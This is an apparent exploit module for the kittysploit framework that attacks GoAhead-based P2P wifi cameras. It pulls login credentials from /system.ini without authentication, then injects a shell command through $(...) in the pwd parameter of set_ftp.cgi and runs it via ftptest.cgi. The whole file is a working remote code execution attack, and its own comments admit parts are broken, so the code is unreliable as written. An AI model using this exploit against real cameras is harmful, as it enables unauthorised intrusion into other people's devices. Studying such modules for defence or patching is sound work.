P2P wificam remote code execution

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""P2P wificam remote code execution"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'P2P wificam remote code execution',
        'description': 'A credential disclosure in several cameras which utilize the GoAhead webserver, combined with an authenticated RCE allows for unauthenticated remote code execution.',
        'author': ['Pierre Kim', 'zh4ck', 'casept'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html', 'https://jumpespjump.blogspot.com/2015/09/how-i-hacked-my-ip-camera-and-found.html'],
        'tags': ['iot', 'camera', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        # Get credentials
        print_status("Extracting credentials")

        response = self.http_request(
            method="GET",
            path="/system.ini?loginuse&loginpas"
        )

        # Find the magic sequence "0000 0a0a 0a0a 01"
        magic_sequence_location = response.content.find(b"\x00\x00\x0a\x0a\x0a\x0a\x01")

        # Skip ahead by 144 bytes to the beginning of username
        username_location = magic_sequence_location + 144

        # Read every byte in a loop until the first '\x00'
        # THIS WILL NOT WORK UNDER PYTHON 3 (bytearrays return ints in py3)!
        username_bytes = bytearray()
        next_username_byte = bytes()
        index = username_location

        while next_username_byte != b"\x00":
            username_bytes.append(response.content[index])
            next_username_byte = response.content[index + 1]
            index = index + 1
        username = username_bytes.decode('utf-8')
        print_info("Username: " + username)
        # Same for the password
        # Get the password's location
        # Everything between username and password is \x00, so loop until that's no longer the case
        current_byte_location = username_location + len(username_bytes)
        null_byte = bytearray(b'\x00')
        current_byte = bytearray(b'\x00')
        while current_byte == null_byte:
            current_byte[0] = response.content[current_byte_location].encode('utf-8')
            current_byte_location = current_byte_location + 1
        # I can't be bothered to debug anymore, let's just subtract 1
        password_location = current_byte_location - 1
        # Read every byte in a loop until the first '\x00'
        password_bytes = bytearray()
        next_password_byte = bytes()
        index = password_location
        while next_password_byte != b'\x00':
            password_bytes.append(response.content[index])
            next_password_byte = response.content[index + 1]
            index = index + 1
        password = password_bytes.decode('utf-8')
        print_info("Password: " + password)

        # Send command
        command_url = "{}:{}/set_ftp.cgi?next_url=ftp.htm&loginuse={}&loginpas={}&svr=192.168.1.1&port=21&user=ftp&pwd=$({})&dir=/&mode=PORT&upload_interval=0".format(self.target, self.port, username, password, cmd)
        http_request(method="GET", url=command_url)

        # Run command
        run_url = "{}:{}/ftptest.cgi?next_url=test_ftp.htm&loginuse={}&loginpas={}".format(self.target, self.port, username, password)
        http_request(method="GET", url=run_url)

        time.sleep(2)
        return ""
    def check(self):
        response = self.http_request(
            method="GET",
            path="/system.ini?loginuse&loginpas"
        )

        if response is None:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

        if response.status_code == 200 and b'\x00\x00\x0a\x0a\x0a\x0a\x01' in response.content:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()